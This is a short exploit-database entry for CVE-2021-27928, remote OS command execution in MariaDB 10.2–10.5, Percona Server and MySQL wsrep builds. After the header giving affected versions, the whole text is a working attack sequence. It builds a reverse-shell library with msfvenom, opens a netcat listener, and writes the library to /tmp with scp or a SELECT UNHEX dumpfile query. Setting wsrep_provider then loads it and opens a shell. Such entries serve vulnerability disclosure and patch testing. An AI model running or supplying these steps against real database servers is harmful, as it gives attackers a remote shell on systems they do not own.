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Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
Date: 03/18/2021
Exploit Author: Central InfoSec
Version: 
	MariaDB 10.2 before 10.2.37
	10.3 before 10.3.28
	10.4 before 10.4.18 
	10.5 before 10.5.9
Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
Tested on: Linux
CVE : CVE-2021-27928

msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so

nc -lnvp <port>

scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so

python3 -c 'print(open("CVE-2021-27928.so", "rb").read().hex())'
mysql -u <user> -p -h <ip>
SELECT UNHEX('PYTHON_OUTPUT') into dumpfile '/tmp/CVE-2021-27928.so';

mysql -u <user> -p -h <ip>
SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";